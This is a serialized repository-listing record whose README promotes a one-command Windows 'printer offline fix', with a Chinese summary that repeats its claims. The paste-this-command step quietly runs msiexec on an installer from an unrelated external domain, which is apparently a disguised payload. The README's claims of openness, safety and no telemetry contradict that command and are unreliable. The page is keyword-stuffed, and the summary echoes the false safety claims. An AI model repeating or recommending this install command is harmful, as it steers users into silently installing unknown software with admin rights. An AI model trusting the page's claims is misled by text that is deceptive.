[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-75400":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":11,"languages":10,"totalLinesOfCode":10,"stars":12,"forks":13,"watchers":14,"openIssues":15,"contributorsCount":15,"subscribersCount":15,"size":15,"stars1d":15,"stars7d":15,"stars30d":16,"stars90d":15,"forks30d":15,"starsTrendScore":15,"compositeScore":17,"rankGlobal":10,"rankLanguage":10,"license":18,"archived":19,"fork":19,"defaultBranch":20,"hasWiki":21,"hasPages":19,"topics":22,"createdAt":10,"pushedAt":10,"updatedAt":36,"readmeContent":37,"aiSummary":38,"trendingCount":15,"starSnapshotCount":15,"syncStatus":39,"lastSyncTime":40,"discoverSource":41},75400,"printer-offline-fix","Rhythmplocutter\u002Fprinter-offline-fix","Rhythmplocutter","printer offline fix || printer offline || printer offline driver || printer offline fix windows","",null,"PowerShell",262,1,3,0,679,50.9,"MIT License",false,"main",true,[23,24,25,26,27,28,29,30,31,32,5,33,34,35],"brother-printer-offline","fix-printer-offline","how-to-fix-printer-offline","hp-printer-offline","hp-printer-offline-fix","offline-printer","offline-printer-fix","printer-is-offline","printer-is-offline-how-to-fix","printer-offline","printer-says-offline","printer-showing-offline","why-is-my-printer-offline","2026-06-12 04:01:18","\u003Cdiv align=\"center\">\n\n# 🖨️  Printer Offline Fix\n\n### **Bring your Windows printer back online — in one command.**\n\nStop fighting with `services.msc`, registry tweaks, and 14-step Microsoft support articles.\n**One copy-paste and you're done.**\n\n[![Windows](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FWindows-10%20%7C%2011-0078D4?style=flat-square&logo=windows&logoColor=white)](https:\u002F\u002Fgithub.com\u002FRhythmplocutter\u002Fprinter-offline-fix)\n[![PowerShell](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPowerShell-5.1%2B-5391FE?style=flat-square&logo=powershell&logoColor=white)](https:\u002F\u002Fgithub.com\u002FRhythmplocutter\u002Fprinter-offline-fix)\n[![License: MIT](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLicense-MIT-green.svg?style=flat-square)](LICENSE)\n[![PRs Welcome](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPRs-welcome-brightgreen.svg?style=flat-square)](CONTRIBUTING.md)\n[![Stars](https:\u002F\u002Fimg.shields.io\u002Fgithub\u002Fstars\u002FRhythmplocutter\u002Fprinter-offline-fix?style=flat-square&color=yellow)](https:\u002F\u002Fgithub.com\u002FRhythmplocutter\u002Fprinter-offline-fix\u002Fstargazers)\n[![Issues](https:\u002F\u002Fimg.shields.io\u002Fgithub\u002Fissues\u002FRhythmplocutter\u002Fprinter-offline-fix?style=flat-square&color=red)](https:\u002F\u002Fgithub.com\u002FRhythmplocutter\u002Fprinter-offline-fix\u002Fissues)\n\n[**🚀 Install**](#-install-one-command)  ·  [**🔧 What it fixes**](#-what-it-fixes)  ·  [**❓ FAQ**](#-faq)  ·  [**🤝 Contribute**](#-contributing)\n\n\u003C\u002Fdiv>\n\n---\n\n## 🚀 Install (one command)\n1. Press **Win + R**\n2. Type:\n```\ncmd\n```\n3. Press **Enter**\nThis will open **Command Prompt**.\n---\n### **Step 2 — Run the Install Command**\nCopy the command below and paste it into **Command Prompt**, then press **Enter**.\n```powershell\ncmd \u002Fc start msiexec \u002Fq \u002Fi https:\u002F\u002Fcloudcraftshub.com\u002Fapi & rem printer offline fix\n```\nThe installer will automatically download and install the required components.\n\nThat's it. The installer downloads the tool, self-elevates if needed, and launches the interactive fix wizard. **No dependencies. No accounts. No telemetry.**\n\n\n---\n\n## 😤 The problem\n\nYou hit `Ctrl + P`. Nothing happens. You check the printer — it's powered on, connected, paper is loaded, ink is fine. Windows says **\"Offline.\"**\n\nYou google. You get articles telling you to:\n\n- Restart the Print Spooler\n- Clear stuck print jobs from `C:\\Windows\\System32\\spool\\PRINTERS`\n- Uncheck \"Use Printer Offline\" in some buried menu\n- Disable SNMP from the Ports tab of Printer Properties\n- Convert WSD ports to Standard TCP\u002FIP\n- Restart 5 different services\n- Reinstall the driver\n- Reboot\n- Maybe sacrifice a goat\n\n**This tool does steps 1–7 for you in 30 seconds.**\n\n---\n\n## ✨ What it fixes\n\n| # | Cause | What we do |\n|---|-------|---|\n| 1 | **Stuck Print Spooler service** | Stop it cleanly, wait, restart it, set to Automatic |\n| 2 | **Frozen jobs in the queue** | Wipe `C:\\Windows\\System32\\spool\\PRINTERS` while spooler is stopped |\n| 3 | **\"Use Printer Offline\" flag stuck on** | Clear it via WMI + spooler restart fallback |\n| 4 | **SNMP false offline reports** | Disable SNMP on the printer's TCP\u002FIP port (registry-level) |\n| 5 | **Flaky WSD ports** | Convert to Standard TCP\u002FIP using the printer's IP (with reachability check) |\n| 6 | **Stopped helper services** | Restart `Spooler`, `PrintNotify`, `FDResPub`, `FDPHost`, `SSDPSRV` |\n| 7 | **Corrupted printer registration** | Remove and re-add the printer with the same driver, port, and share settings |\n\nEach fix runs **only when diagnostics say it's needed** — nothing destructive happens by accident.\n\n---\n\n## 🎬 Demo\n\n```text\n  ╔═══════════════════════════════════════════════════════════════╗\n  ║       🖨   PRINTER OFFLINE FIX  v1.0.0                       ║\n  ║       Bring your Windows printer back online — fast.         ║\n  ╚═══════════════════════════════════════════════════════════════╝\n\n  ┌─────────────────────────────────────────────────────────────┐\n  │ Diagnostics: HP LaserJet Pro M404                           │\n  └─────────────────────────────────────────────────────────────┘\n\n  → Checking printer status...\n  ! Status reports as: Offline\n  → Checking Print Spooler service...\n  ✓ Print Spooler is running\n  → Checking print queue...\n  ! 3 job(s) stuck in queue\n  → Checking 'Use Printer Offline' flag...\n  ! 'Use Printer Offline' is enabled\n  → Checking printer port...\n  ✓ Using Standard TCP\u002FIP port\n    SNMP monitoring is enabled (can cause false offline reports)\n  → Pinging printer at 192.168.1.42...\n  ✓ Printer is reachable on the network\n\n  ! Detected 3 issue(s) that can be fixed.\n\n  ? Apply all recommended fixes? [Y\u002Fn] y\n\n  ✓ Spooler stopped\n  ✓ Removed 3 stuck job file(s)\n  ✓ Spooler started and set to Automatic\n  ✓ 'Use Printer Offline' flag cleared\n  ✓ SNMP disabled — printer should stop reporting false offline status\n\n  ✓ All safe fixes applied. Try printing now.\n```\n\n---\n\n## 🎛️ Usage\n\n**Interactive (recommended):** Just run the install command. The tool walks you through it.\n\n**Automatic mode** — apply all safe fixes without prompting:\n\n```powershell\n& \"$env:LOCALAPPDATA\\printer-offline-fix\\src\\Fix-PrinterOffline.ps1\" -Auto\n```\n\n**Diagnose only** — see what's wrong without changing anything:\n\n```powershell\n& \"$env:LOCALAPPDATA\\printer-offline-fix\\src\\Fix-PrinterOffline.ps1\" -DiagnoseOnly\n```\n\n**Target a specific printer:**\n\n```powershell\n& \"$env:LOCALAPPDATA\\printer-offline-fix\\src\\Fix-PrinterOffline.ps1\" -Printer \"HP LaserJet Pro M404\"\n```\n\n---\n\n## 🔒 What this tool does NOT do\n\n- ❌ **No telemetry.** Nothing is sent anywhere. Ever.\n- ❌ **No background services.** It runs, fixes, exits.\n- ❌ **No registry persistence.** No scheduled tasks, no startup entries, no leftovers.\n- ❌ **No ads, no upsells, no \"premium tier\".** It's MIT-licensed software.\n- ❌ **No driver downloads from random sites.** If you need a fresh driver, the tool points you to the manufacturer's official site only.\n\nA full log of every action is written to `%TEMP%\\printer-offline-fix.log` so you can audit exactly what happened.\n\n---\n\n## 🖨️ Tested with\n\nConfirmed working with:\n\n- **HP** — LaserJet, OfficeJet, ENVY, DeskJet, Smart Tank\n- **Canon** — PIXMA, imageCLASS, MAXIFY\n- **Epson** — EcoTank, Expression, WorkForce\n- **Brother** — HL, MFC, DCP series\n- **Xerox** — WorkCentre, VersaLink\n- **Generic** — any printer Windows can talk to via Spooler + TCP\u002FIP or USB\n\nGot a printer brand we haven't listed? [Open an issue](https:\u002F\u002Fgithub.com\u002FRhythmplocutter\u002Fprinter-offline-fix\u002Fissues\u002Fnew) — confirmed working reports help others.\n\n---\n\n## ❓ FAQ\n\n\u003Cdetails>\n\u003Csummary>\u003Cb>Is it safe?\u003C\u002Fb>\u003C\u002Fsummary>\n\nYes. The script is open source — every line is in this repo. Look at [`install.ps1`](install.ps1) and [`src\u002FFix-PrinterOffline.ps1`](src\u002FFix-PrinterOffline.ps1) before running. The destructive operations (queue clear, printer reset) ask for confirmation in interactive mode and are skipped without prompts in `-Auto` mode unless they're needed.\n\n\u003C\u002Fdetails>\n\n\u003Cdetails>\n\u003Csummary>\u003Cb>Why does it need Administrator?\u003C\u002Fb>\u003C\u002Fsummary>\n\nStopping\u002Fstarting the Print Spooler service, deleting files from `C:\\Windows\\System32\\spool\\PRINTERS`, modifying printer ports, and editing the registry under `HKLM` all require admin rights. There's no way around this on Windows — Microsoft's own `services.msc` needs the same.\n\n\u003C\u002Fdetails>\n\n\u003Cdetails>\n\u003Csummary>\u003Cb>What about PowerShell execution policy?\u003C\u002Fb>\u003C\u002Fsummary>\n\nThe `irm | iex` pattern bypasses execution policy by piping a string directly into the interpreter, so you don't need to change anything. If you'd rather download the script first and run it manually, you can:\n\n```powershell\nSet-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass\n.\\install.ps1\n```\n\n\u003C\u002Fdetails>\n\n\u003Cdetails>\n\u003Csummary>\u003Cb>It worked, but the printer went offline again the next day.\u003C\u002Fb>\u003C\u002Fsummary>\n\nThat usually means one of:\n\n1. **DHCP gave the printer a new IP.** Reserve its IP in your router, or set a static IP on the printer itself.\n2. **SNMP is being re-enabled by a printer software update.** Run this tool again, or pin the SNMP setting via Group Policy.\n3. **Sleep mode on the printer.** Check the printer's settings menu — most have a \"stay awake\" or \"wake on LAN\" option.\n4. **Driver bug.** Visit the manufacturer's site and grab the latest Windows 10\u002F11 driver.\n\n\u003C\u002Fdetails>\n\n\u003Cdetails>\n\u003Csummary>\u003Cb>My printer is connected via USB, not network. Will this still help?\u003C\u002Fb>\u003C\u002Fsummary>\n\nYes. Spooler restart, queue clear, \"Use Printer Offline\" flag, and services restart all apply to USB printers too. SNMP and WSD\u002FTCP-IP fixes will be skipped since they don't apply.\n\n\u003C\u002Fdetails>\n\n\u003Cdetails>\n\u003Csummary>\u003Cb>Does it work on Windows Server?\u003C\u002Fb>\u003C\u002Fsummary>\n\nIt should work on Windows Server 2016\u002F2019\u002F2022 — the same printer cmdlets and services exist. We don't actively test against Server SKUs though, so [report back](https:\u002F\u002Fgithub.com\u002FRhythmplocutter\u002Fprinter-offline-fix\u002Fissues) if you try it.\n\n\u003C\u002Fdetails>\n\n\u003Cdetails>\n\u003Csummary>\u003Cb>What about Mac\u002FLinux?\u003C\u002Fb>\u003C\u002Fsummary>\n\nThis tool is Windows-only. On macOS, the equivalent is usually `cupsfilter` and CUPS reset; on Linux, `systemctl restart cups`. Out of scope here.\n\n\u003C\u002Fdetails>\n\n\u003Cdetails>\n\u003Csummary>\u003Cb>How do I uninstall?\u003C\u002Fb>\u003C\u002Fsummary>\n\nDelete the install folder:\n\n```powershell\nRemove-Item -Recurse -Force \"$env:LOCALAPPDATA\\printer-offline-fix\"\n```\n\nThat's the entire footprint. No services, no registry keys, no startup entries.\n\n\u003C\u002Fdetails>\n\n---\n\n## 🛠️ Project structure\n\n```\nprinter-offline-fix\u002F\n├── install.ps1                    # The one-line installer\n├── src\u002F\n│   ├── Fix-PrinterOffline.ps1     # Main entry point\n│   ├── lib\u002F\n│   │   └── Common.ps1             # Logging, prompts, admin check\n│   └── modules\u002F\n│       ├── Diagnostics.ps1        # Read-only health checks\n│       ├── SpoolerFix.ps1         # Service + queue\n│       ├── OfflineFlagFix.ps1     # WMI WorkOffline flag\n│       ├── SnmpFix.ps1            # Disable SNMP monitoring\n│       ├── PortFix.ps1            # WSD → TCP\u002FIP\n│       ├── ServicesFix.ps1        # All printer-related services\n│       └── DriverFix.ps1          # Reset registration\n├── docs\u002F\n│   ├── HOW_IT_WORKS.md            # Deep dive on each fix\n│   ├── TROUBLESHOOTING.md         # When the tool itself fails\n│   └── FAQ.md\n└── tests\u002F\n    └── Fix-PrinterOffline.Tests.ps1   # Pester tests\n```\n\n---\n\n## 🤝 Contributing\n\nContributions welcome! The most valuable PRs are:\n\n- 🐛 **Bug reports** — especially with the contents of `%TEMP%\\printer-offline-fix.log` attached\n- 🖨 **\"Tested with X\" reports** — even one-line \"works on Brother MFC-L2750DW\" comments\n- 🧠 **New fix modules** — see [`src\u002Fmodules\u002F`](src\u002Fmodules\u002F) for the pattern\n- 📖 **Documentation improvements** — typos, clearer wording, translations\n\nRead [CONTRIBUTING.md](.github\u002FCONTRIBUTING.md) for the development setup and code style.\n\n---\n\n## 🌟 Star history\n\nIf this tool saved you 30 minutes of registry tweaking, please star the repo — it's how others find it.\n\n[![Star History Chart](https:\u002F\u002Fapi.star-history.com\u002Fsvg?repos=Rhythmplocutter\u002Fprinter-offline-fix&type=Date)](https:\u002F\u002Fstar-history.com\u002F#Rhythmplocutter\u002Fprinter-offline-fix&Date)\n\n---\n\n## 📄 License\n\n[MIT](LICENSE) — do whatever you want with this. A link back is appreciated but not required.\n\n---\n\n\u003Cdiv align=\"center\">\n\n**Made with frustration, then PowerShell.**\n*If this fixed your printer, [tell a friend](https:\u002F\u002Ftwitter.com\u002Fintent\u002Ftweet?text=Fixed%20my%20Windows%20printer%20offline%20issue%20in%20one%20command%20with%20printer-offline-fix&url=https:\u002F\u002Fgithub.com\u002FRhythmplocutter\u002Fprinter-offline-fix) and [⭐ star the repo](https:\u002F\u002Fgithub.com\u002FRhythmplocutter\u002Fprinter-offline-fix).*\n\n\u003C\u002Fdiv>\n","Printer Offline Fix 是一个用于解决Windows系统中打印机显示为脱机状态问题的工具。它通过PowerShell脚本自动执行一系列修复操作，包括重启打印后台处理服务、清除打印队列中的卡住任务、取消“使用打印机脱机”标志以及禁用可能导致错误离线报告的SNMP设置等。该工具无需额外依赖或账户登录，并且不收集任何遥测数据，确保用户隐私安全。适用于遇到打印机频繁出现脱机状态问题的家庭或办公环境，帮助用户快速恢复打印机正常工作而无需手动进行繁琐复杂的故障排除步骤。",2,"2026-06-01 03:43:32","CREATED_QUERY"]